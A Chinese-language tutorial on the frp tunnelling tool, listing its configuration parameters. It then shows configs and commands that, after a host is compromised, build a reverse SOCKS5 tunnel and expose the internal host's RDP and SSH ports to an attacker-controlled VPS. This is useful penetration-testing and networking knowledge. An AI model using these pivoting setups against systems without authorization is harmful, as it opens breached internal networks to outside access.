Frp
Frp(Fast e Reverse ) Proxy) 是一款简单,好用,稳定的隧道工具。Frp 使用 Go语言开发,支持跨平台,仅需下载对应平台的二进制文件即可执行,没有额外依赖。它是一款高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务。Frp 支持 TCP、UDP、KCP、HTTP、HTTPS 等协议类型,并且支持 Web服务根据域名进行路由转发。在进行内网渗透中,FRP 是常用的一款隧道工具。
下载地址:https://github.com/fatedier/frp/releases
Frp 的优势?
- 客户端服务端通信支持 TCP、UDP、KCP、HTTP、HTTPS 以及Websocket 等多种协议。
- 采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。
- 代理组间的负载均衡。
- 端口复用,多个服务通过同一个服务端端口暴露。
- 多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。
- 高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。
- 服务端和客户端 UI 页面。
Frp 的代理类型
frp 支持多种代理类型来适配不同的使用场景。
类型 | 描述 |
---|---|
tcp | 单纯的 TCP 端口映射,服务端会根据不同的端口路由到不同的内网服务。 |
udp | 单纯的 UDP 端口映射,服务端会根据不同的端口路由到不同的内网服务。 |
http | 针对 HTTP 应用定制了一些额外的功能,例如修改 Host Header,增加鉴权。 |
https | 针对 HTTPS 应用定制了一些额外的功能。 |
stcp | 安全的 TCP 内网代理,需要在被访问者和访问者的机器上都部署frpc,不需要在服务端暴露端口。 |
sudp | 安全的 UDP 内网代理,需要在被访问者和访问者的机器上都部署frpc,不需要在服务端暴露端口。 |
xtcp | 点对点内网穿透代理,功能同 stcp,但是流量不需要经过服务器中转。 |
tcpmux | 支持服务端 TCP 端口的多路复用,通过同一个端口访问不同的内网服务。 |
Frp 的配置文件
服务端配置(基础配置)
参数 | 说明 | 默认值 | 备注 |
---|---|---|---|
[common] | 是不可或缺的部分 | ||
bind_addr | 服务端监听地址 | 0.0.0.0 | |
bind_port | 服务端监听端口 | 7000 | 接手frpc的连接 |
bind_udp_port | 服务端监听UDP端口 | 0 | 用于辅助创建P2P连接 |
kcp_bind_port | 服务端监听KCP协议端口 | 0 | 用于接收采用KCP连接的 |
proxy_bind_addr | 代理监听地址 | 同bind_addr | 可以使代理监听在不同的网卡地址 |
log_file | 日志文件地址 | ./frps.log | 如果设置为console,会将日志打印在标准输出中 |
log_level | 日志等级 | info | 可选值:trace,debug,info,warn,error |
权限验证
参数 | 说明 | 默认值 | 备注 |
---|---|---|---|
authentication_method | 鉴权方式 | token | 可选值:token,oidc |
autnenticate_neartbeats | 开启心跳消息鉴权 | false | |
authenticate_new_work_conns | 开启建立工作连接的鉴权 | false | |
token | 鉴权使用的 token 值 | 客户端需要设置一样的值才能鉴权通过 | |
oidc_issuer | |||
oidc_audience | |||
oidc_skip_expiry_check | |||
bool | |||
oidc_skip issuer_check | bool |
Dashboard(仪表板),监控
参数 | 说明 | 默认值 | 备注 |
---|---|---|---|
dashboard addr | 启用 Dashboard 监听的本地地址 | 0.0.0.0 | |
dashboard port | 启用 Dashboard 监听的本地端口 | 0 | |
dashboard user | HTTP BasicAuth 用户名 | ||
dashboard pwd | HTTP BasicAuth密码 | ||
enable_prometheus | 是否提供Prometheus 监控接口 | false | 需要同时启用了 Dashboard 才会生效 |
asserts dir | 静态资源目录 | ||
Dashboard 使用的资源默认打包在二进制文件中,通过指定此参数使用自定义的静态资源 |
客户端公共配置(基础配置)
参数 | 说明 | 默认值 | 备注 |
---|---|---|---|
[common] | 必须 | ||
serverAddr | 连接服务端的地址 | 0.0.0.0 | |
serverPort | 连接服务端的端口 | 7000 | |
http_proxy | 连接服务端使用的代理地址 | 格式为{protocol}://user:passwd@192.168.5.138:8080<br />protocol目前支持http、socks5、ntlm | |
log_file | 日志文件地址 | ./frpc.log | 如果设置为 console,会将日志打印在标准输出中 |
log_level | 日志等级 | info | 可选值:trace,debug, info,warn, error |
pool_count | 连接池大小 | 0 |
权限验证
参数 | 说明 | 默认值 | 备注 |
---|---|---|---|
authentication_method | 鉴权方式 | token | 可选值:token,oidc;需要和服务端一致 |
autnenticate_neartbeats | 开启心跳消息鉴权 | false | 需要和服务端一致 |
authenticate_new_work_conns | 开启建立工作连接的鉴权 | false | 需要和服务端一致 |
token | 鉴权使用的 token 值 | 需要和服务端设置一样的值才能鉴权通过 | |
oidc_client_id | |||
oidc_client secret | |||
oidc_audience | |||
bool | |||
oidc_token_endpoint_url | bool |
客户端代理配置
基础配置
参数 | 说明 | 是否必须 | 备注 |
---|---|---|---|
type | 代理类型 | 是 | 可选值:tcp, udp, http,https, stcp,sudp,xtcp,tcpmux |
use_encryption | 是否启用加密功能 | 否 | 启用后该代理和服务端之间的通信内容都会被加密传输 |
use_compression | 是否启用压缩功能 | 否 | 启用后该代理和服务端之间的通信内容都会被压缩传输 |
proxy_protocol_version | 启用 proxyprotocol 协议的版本 | 否 | 如果启用,则 frpc 和本地服务建立连接后会发送 proxy protocol 的协议,包含了原请求的 IP 地址和端口等内容;可选值:v1,v2 |
本地服务配置
参数 | 说明 | 是否必须 | 备注 |
---|---|---|---|
local_ip | 本地服务IP | 是 | 需要被代理的本地服务的IP 地址,可以为所在frpc 能访问到的任意IP 地址;默认值:127.0.0.1 |
local_port | 本地服务端口 | 是 | 配合local_ip |
plugin | 客户端插件名称 | 否 | 用于扩展 frpc的能力,能够提供一些简单的本地服务,如果配置了plugin,则local_ip 和local_port无效,两者只能配置一个 |
plugin _params | 客户端插件参数(map类型) | 否 | map 结构,key需要都以“plugin“开头,每一个 plugin 需要的参数也不一样,具体见客户端插件参数中的内容 |
负载均衡和健康检查
参数 | 说明 | 是否必须 | 备注 |
---|---|---|---|
group | 负载均衡分组名称 | 否 | 用户请求会以轮询的方式发送给同一个group 中的代理 |
group_key | 负载均衡分组密钥 | 否 | 用于对负载均衡分组进行鉴权,group_key相同的代理才会被加入到同一个分组中 |
health_check_type | 健康检查类型 | 否 | 配置后启用健康检查功能,tcp 是连接成功则认为服务健康,http 要求接口返回 2xx的状态码则认为服务健康 |
可选值:tcp,http | |||
health_check_timeout_s | 健康检查超时时间(秒) | 否 | 执行检查任务的超时时间.默认值:3 |
health_check_max_failed | 健康检查连续错误次数 | 否 | 连续检查错误多少次认为服务不健康;默认值:1 |
health_check_interval_s | 健康检查周期(秒) | 否 | 每隔多长时间进行一次健康检查;默认值:10 |
Frp的使用(0.51.3)
服务端配置
[common]
bind_addr = 0.0.0.0
bind_port = 7000
dashboard_addr = 0.0.0.0
dashboard_port = 7001
dashboard_user = root
dashboard_pwd = 123456
token = wx65b3e977e62f120b
客户端配置
[common]
server_addr = 125.217.52.215
server_port = 7000
token = wx65b3e977e62f120b
pool_count = 5
health_check_type = tcp
health_check_interval_s = 100
[test]
remote_port = 12345
plugin = socks5
use_encryption = true
use_compression = true
plugin_user = admin
plugin_passwd = 123456
在使用之前可以执行以下命令来查看配置文件中的语法是否正确
frpc.exe verify -c frpc.ini #客户端
frps.exe verify -c frps.ini #服务端
使用frp建立隧道(反向sock5代理)
现在有这么一个场景,我们获得了一个位于内网的通过 NAT 方式对外提供服务的主机的权限,现在我们需要对其所在的内网继续进行渗透。于是,我们就需要通过FRP 建立一个隧道,让我们的主机可以通过隧道访问其内网。
frps.exe -c frps.ini
开启服务端。
客户端执行
frpc.exe -c frpc.ini
查看 dashboard,访问http://125.217.52.215:7001,账号:root 密码:123456
连接成功。
我们本机设置代理: socks5 ip:125.217.52.215 端口:12345 账号:admin 密码:123456
tcp隧道搭建成功。
使用 Frp 映射 Web 服务
现在有这么一个场景,位于内网的主机需要对外提供 Web 服务,于是将内网主机的 80 端口映射到公网主机的 80 端口上。
客户端配置
[common]
server_addr = 125.217.52.215
server_port = 7000
token = wx65b3e977e62f120b
[http]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 80
custom_domains= www.test.com
执行命令:frpc.exe -c frpc.ini
现在我们在内网服务器web服务看到的页面是下面这样的
来实验一下内网服务器的80端口是否有映射到我们的服务器上。
成功映射到我们的服务器上。
使用 Frp 映射 RDP 服务
现在有这么一个场景,我们获得了位于内网的一台主机的权限,并且知道了他的登录用户名和密码。他的 3389 端口只对内网开放,现在我们需要将该主机的3389 端口映射到公网我们的 VPS 的 3389 端口,那样,我们连接我们 VPS 的3389 端口就相当于连接内网主机的 3389 端口了。
客户端配置
[common]
server_addr = 125.217.52.215
server_port = 7000
token = wx65b3e977e62f120b
[RDP]
local_ip = 127.0.0.1
local_port = 3389
remote_port = 3389
执行命令运行
接下来我们来远程桌面连接一下本地的3389端口,看能不能连到内网的服务器。
OK了,内网服务器的3389端口成功映射到我们本机的3389端口,连接成功。
使用 Frp 映射 SSH 服务
现在有这么一个场景,我们获得了位于内网的一台主机的权限,并且知道了他的登录用户名和密码。他的 22 SSH 端口只对内网开放,现在我们需要将该主机的22 端口映射到公网我们的 VPS 的 2222 端口,那样,我们连接我们 VPS 的 2222端口就相当于连接内网主机的 22 端口了。
客户端配置
[common]
server_addr = 125.217.52.215
server_port = 7000
token = wx65b3e977e62f120b
[SSH]
local_ip = 127.0.0.1
local_port = 22
remote_port = 2222
执行客户端连接命令
看看ssh连接能不能通过连接本地的2222端口直接连接上内网服务器的ssh端口。
125.217.52.215是本地的地址,不是内网服务器的地址。
OK了,连接成功。